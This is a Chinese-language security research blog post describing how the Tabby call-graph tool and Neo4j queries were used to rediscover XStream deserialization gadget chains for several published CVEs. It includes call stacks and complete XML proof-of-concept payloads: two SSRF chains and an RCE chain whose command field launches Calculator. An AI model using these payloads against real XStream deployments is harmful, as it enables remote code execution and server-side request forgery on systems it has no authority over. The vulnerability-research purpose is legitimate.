XStream反序列化(三)——Tabby CVE之旅
2021-09-03 18:54:18 Author: wiki.ioin.in(查看原文) 阅读量:266 收藏

月底在即,再不写点东西,每月一篇都要食言了。上个月刚挖的OpenRASP的坑,本打算再研究研究绕过姿势,验证下猜想,也没下文。正好6月份交的XStream SSRF Gadget CVE下来,之前XStream系列草稿箱里也待着之前逆向分析师傅们挖掘的思路&手法,正好编辑编辑,水一篇”如何挖掘XStream Gadgets”。

首先感谢Wh1t3p1g师傅的Tabby,用起来比gadgetinspector更顺手,找链神器。

Tabby

有关Tabby的介绍,详情可以参考【1】中Wh1t3p1g师傅的几个wiki,写的很详细了,这里也不多啰嗦。(这里膜一下Wh1t3p1g师傅)

Neo4j 查询比较吃cpu,小本本加上idea同时跑吃力,搞台vps跑比较好,但是tabby是通过apoc.load.csv file写Neo4j数据的,相当于限制了本机,因此给下整库的dump和load(当然,直接整个在vps上操作也是ok的)。

1
2
3
# dump neo4j database
neo4j-admin dump --to /tmp/neo4j.dump --database neo4j
# scp dump file to vps
1
2
3
4
# load neo4j dump file
./bin/neo4j stop
./bin/neo4j-admin load --from=/root/neo4j.dump --database=neo4j --force
./bin/neo4j start

Gadgets结构

前文的众多的RCE Gadgets分析中发现Gadgets的结构大致分为:

Bullet:
实现最终的RCE

rce:

  1. ProcessBuilder.start() 无参数
  2. Runtime.getRuntime().exec(cmd) 有参
  3. JdbcRowSetImpl.connect()/prepare()/getDatabaseMetaData()/setAutoCommit(var1) 无参
  4. MethodClosure.call() 无参

ssrf:

  1. java.net.URL#openConnection

核心中间链
中间链是整个寻找Gadgets的核心,简单的可能没有中间链,复杂的可能会组合使用

  1. invoke 实现上有问题的 InvokeHandler,如
    • EventHandler
    • 搭配MethodClosure的ConvertedClosure
  2. hashCode、compare、equal实现有问题的Map/Set/Queue,如
    • Expando,hashCode搭配MethodClosure可以RCE
    • CVE-2021-21345 ServerTableEntry verify方法可RCE
  3. 存在invoke,且method、obj可控的class(这一类普遍存在)
    • CVE-2020-26217 ImageIO$ContainsFilter,filter方法内可控
    • CVE-2021-21344 Accessor$GetterSetterReflection,get方法可控
    • CVE-2021-21351 IncrementalSAXSource_Xerces parseSome方法内invoke可控
  4. 利用ClassLoader实例化
    • ServiceLoader$LazyIterator,调用点为Class.forName (name,initialize,loader) ,指定loader为BCEL classLoaer
    • CVE-2021-21347,调用点为loader.loadClass(name).newInstance(),利用java.net.URLClassLoader加载远程jar类并实例化
    • CVE-2021-21350,和LazyIterator一样,利用BCEL classLoader

Trigger:
类似扳机的作用?整个链的起点

  1. MapConverter/TreeSetConveter/TreeMapConveter都会触发这些集合/表 内元素的内部函数,比如compare、hashCode、equals这些函数。
    • MapConverter类型put对象时调用该对象的hashCode、equals、toString方法
    • TreeSet调用put对象时调用该对象的compareTo方法
    • PriorityQueue触发comparator属性中compare方法
  2. DynamicProxyConverter 代理类,InvocationHandler可控,导致一些invoke存在RCE风险的InvocationHandler类,如EventHandler,可以加以利用。

CVEs

在了解了neo4j & tabby & Gadges组成 的基础上,那就让我们尝试使用Tabby的挖掘XStream Gadgets。精力有限,以以下几个CVE为例(难易程度排序)

  • CVE-2021-21342
  • CVE-2021-39152
  • CVE-2021-21351
  • CVE-2021-21346
  • CVE-2021-21347/21350
  • CVE-2020-26217
  • CVE-2021-21344/21345

CVE-2021-21342

寻找Bullet

1
java.net.URL#openConnection

寻找中间链

1
2
//m0d9 xstream URLDNS
match path=(m1:Method)-[r:CALL]-(m2:Method{NAME:"openStream",CLASSNAME:"java.net.URL"}) return m1.CLASSNAME,m1.NAME,m1.PARAMETERS

节点很多,以javax.activation.URLDataSource$getInputStream 为例

upload successful

寻找Trigger

1
2
3
4
5
//m0d9 xstream URL URLData
match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"]
match (m1:Method) where m1.NAME="getOutputStream" and m1.CLASSNAME="javax.activation.URLDataSource"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 10) yield path
return * limit 100

upload successful

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class="sun.awt.datatransfer.DataTransferer$IndexOrderComparator">
<order>false</order>
<indexMap class="com.sun.xml.internal.ws.client.ResponseContext">
<packet>
<satellites class="java.util.IdentityHashMap" serialization="custom">
<unserializable-parents/>
<java.util.IdentityHashMap>
<default>
<size>0</size>
</default>
<int>0</int>
</java.util.IdentityHashMap>
</satellites>
<message class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart">
<dataSource class="javax.activation.URLDataSource">
<url>http://cve21342.xstream.1.dns.m0d9.me/</url>
</dataSource>
</message>
<wasTransportSecure>false</wasTransportSecure>
<isAdapterDeliversNonAnonymousResponse>false</isAdapterDeliversNonAnonymousResponse>
<packetTakesPriorityOverRequestContext>false</packetTakesPriorityOverRequestContext>
<invocationProperties/>
<state>ServerRequest</state>
<isFastInfosetDisabled>false</isFastInfosetDisabled>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

CVE-2021-39152

这个链应该是 ssrf最短的链了

寻找Bullet

1
java.net.URL#openConnection

寻找中间链

1
2
//m0d9 xstream URLDNS
match path=(m1:Method)-[r:CALL]-(m2:Method{NAME:"openConnection",CLASSNAME:"java.net.URL"}) return m1.CLASSNAME,m1.NAME,m1.PARAMETERS

节点很多,以jdk.nashorn.internal.runtime.Source$URLData#loadMeta 为例
upload successful

寻找Trigger

1
2
3
4
5
//m0d9 xstream URL URLData
match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"]
match (m1:Method) where m1.NAME="loadMeta" and m1.CLASSNAME="jdk.nashorn.internal.runtime.Source$URLData"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 10) yield path
return * limit 100

upload successful

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<map>
<entry>
<jdk.nashorn.internal.runtime.Source_-URLData>
<url>http://localhost:8080/internal/</url>
<cs>GBK</cs>
<hash>1111</hash>
<array>b</array>
<length>0</length>
<lastModified>0</lastModified>
</jdk.nashorn.internal.runtime.Source_-URLData>
<jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
</entry>
<entry>
<jdk.nashorn.internal.runtime.Source_-URLData>
<url>http://localhost:8080/internal/</url>
<cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
<hash>1111</hash>
<array>b</array>
<length>0</length>
<lastModified>0</lastModified>
</jdk.nashorn.internal.runtime.Source_-URLData>
<jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
</entry>
</map>

CVE-2021-21351

寻找核心调用链1

中间链以com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces#parseSome为例

upload successful

upload successful
发现method、class、args都可控,需要做的就是找到一条链

寻找核心调用链2

1
2
3
4
match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"]
match (m1:Method) where m1.NAME="parseSome" and m1.CLASSNAME="com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",10) yield path
return * limit 100

upload successful

调用栈

调用链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
connect:615, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
parseSome:370, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref)
deliverMoreNodes:309, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref)
nextNode:814, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm)
_firstch:534, DTMDefaultBase (com.sun.org.apache.xml.internal.dtm.ref)
getStringValue:1294, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm)
str:206, XRTreeFrag (com.sun.org.apache.xpath.internal.objects)
toString:312, XObject (com.sun.org.apache.xpath.internal.objects)
equals:391, XString (com.sun.org.apache.xpath.internal.objects)
compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
put:568, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:121, TreeMapConverter (com.thoughtworks.xstream.converters.collections)

CVE-2021-21346

核心调用链

1
2
3
4
match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"]
match (m1:Method) where m1.NAME="createValue" and m1.CLASSNAME="sun.swing.SwingLazyValue"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",10) yield path
return * limit 100

upload successful

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
lookup:417, InitialContext (javax.naming)
doLookup:290, InitialContext (javax.naming)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
get:64, MultiUIDefaults (javax.swing)
toString:197, MultiUIDefaults (javax.swing)
equals:391, XString (com.sun.org.apache.xpath.internal.objects)
compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
put:568, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)

CVE-2020-21347/21350

21347/21350这两个类似,都是用NameProcessIterator自定义classloader加载,链也比较简单。

核心调用链1

1
2
match path=(sink:Method {IS_SINK:true, NAME:"loadClass"})<-[:CALL]-(m1:Method) return m1.CLASSNAME,m1.NAME,m1.PARAMETERS
order by m1.CLASSNAME

upload successful

核心调用链2

比较难搞的是hasNext关联Next,很容易关联到Trigger,造成误报

需要手动发现至SequenceInputStream.nextStream,然后参考CVE-2020-26217的ByteArrayOutputStreamEx链

1
2
3
match path=(m1:Method{NAME:"hasNext",CLASSNAME:"com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator"})-[r:CALL|ALIAS*3..10]-(m2:Method) 
where m2.NAME in ["toString"]
return path limit 200

这部分的与之类似,不单独列了

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
loadClass:131, ClassLoader (com.sun.org.apache.bcel.internal.util)
loadClass:357, ClassLoader (java.lang)
hasNext:409, JavacProcessingEnvironment$NameProcessIterator (com.sun.tools.javac.processing)
hasMoreElements:148, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:109, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
compare:153, ObservableList$1 (javafx.collections)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)

CVE-2020-26217

核心调用链1

1
2
3
4
match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"]
match (m1:Method) where m1.NAME="filter" and m1.CLASSNAME="javax.imageio.ImageIO$ContainsFilter"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",10) yield path
return * limit 100

upload successful

转接点

可以看到,只标注了部分的链,原因为javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator#nextElement->java.util.Enumeration#nextElement-> javax.naming.NameImpl#equals 无法走通。这种情况在后续的case种也会经常遇到,因为Java有多态特性,而ALIAS是纯静态分析。

上述链没办法打通Trigger,这个时候需要手动分析,发现java.io.SequenceInputStream#nextStream可以调用e.nextElement且e可控。如此,接着分析nextStream到Trigger的可行性。

核心调用链2

1
2
3
4
match (source:Method) where source.NAME in ["toString"]
match (m1:Method) where m1.NAME="nextStream" and m1.CLASSNAME="java.io.SequenceInputStream"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",8) yield path
return * limit 100

upload successful

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
filter:613, ImageIO$ContainsFilter (javax.imageio)
advance:834, FilterIterator (javax.imageio.spi)
next:852, FilterIterator (javax.imageio.spi)
nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:110, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:121, NativeString (jdk.nashorn.internal.objects)
hashCode:117, NativeString (jdk.nashorn.internal.objects)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)

CVE-2021-21344/21345

21344/21345的这个Gadgets核心在DataTransferer$IndexedComparator到GetterSetterReflection的流程,流程比较复杂

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
verify:173, ServerTableEntry (com.sun.corba.se.impl.activation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:130, Bridge (com.sun.xml.internal.bind.api)
marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2971, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)

寻找核心中间链1

1
2
3
//m0d9 xstream Runtime.exec
match path=(m1:Method{NAME:"exec",CLASSNAME:"java.lang.Runtime"})<-[r:CALL]-(m2:Method)
return path

upload successful
如图,com.sun.corba.se.impl.activation.ServerTableEntry#verify

尝试寻找Trigger

1
2
3
4
match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"]
match (m1:Method) where m1.NAME="verify" and m1.CLASSNAME="com.sun.corba.se.impl.activation.ServerTableEntry"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",13) yield path
return * limit 100

但是无果,无法直接串联

寻找核心中间链2

有一种核心中间链,proxy类,存在invoke,且method、obj可控的

1
2
3
// invoke
match path=(sink:Method {IS_SINK:true, NAME:"invoke"})<-[:CALL]-(m1:Method) return m1.CLASSNAME,m1.NAME,m1.PARAMETERS
order by m1.CLASSNAME

都过一遍,可以得出类似以下可控的类

upload successful

寻找核心中间链3

1
2
3
4
match (source:Method) where source.NAME in ["compare"]
match (m1:Method) where m1.NAME="get" and m1.CLASSNAME="com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",16) yield path
return * limit 100

upload successful

寻找核心中间链4

1
2
3
4
match (source:Method) where source.NAME in ["compare"]
match (m1:Method) where m1.NAME="marshal" and m1.CLASSNAME="com.sun.xml.internal.bind.v2.runtime.BridgeImpl"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",12) yield path
return * limit 100

upload successful

寻找核心中间链4

1
2
3
4
match (source:Method) where source.NAME in ["compare"]
match (m1:Method) where m1.NAME="getInputStream" and m1.CLASSNAME="com.sun.xml.internal.ws.message.JAXBAttachment"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",12) yield path
return * limit 100

upload successful

寻找核心中间链5

1
2
3
4
match (source:Method) where source.NAME in ["get"] 
match (m1:Method) where m1.NAME="getInputStream" and m1.CLASSNAME="com.sun.xml.internal.ws.message.JAXBAttachment"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",5) yield path
return * limit 100

upload successful

poc

原理及分析可以看上一篇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>open /Applications/Calculator.app</activationCmd>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

小结

本文从Gadget挖掘角度,使用tabby复现了2个Gadget的挖掘过程,ssrf的2个链很简单,rce有些个比较复杂,最短路径算法不能直接串起。这些个链的重点在于中间核心链路的组装,本菜🐔也只能倒推出部分节点,还有一些关键转折点如果在不知情的情况下自己来,大概率是发现不了的。

其他思考&总结

  1. apoc.algo.allSimplePaths 是最短路径,有最短就不会列出其他的,而最短的不一定是有效的,导致可能会漏(也可以搭配[r:CALL|ALIAS*5..8]使用)。
  2. 中间核心链路的组装,因为invoke等不能自动串起,需要积累。
  3. 21342、21345 可以看出还有其他的路径,是否也可行?(等有精力再验证下吧😓)

最后再次感谢wh1t3p1g师傅,用tabby混了个cve,也逆向复现了这些Gadgets的挖掘思路。

1.4.17新出那些其他的Gadgets,还没空分析如何找到链的,等有精力再水一节吧。

参考


文章来源: https://wiki.ioin.in/url/VOnr
如有侵权请联系:admin#unsafe.sh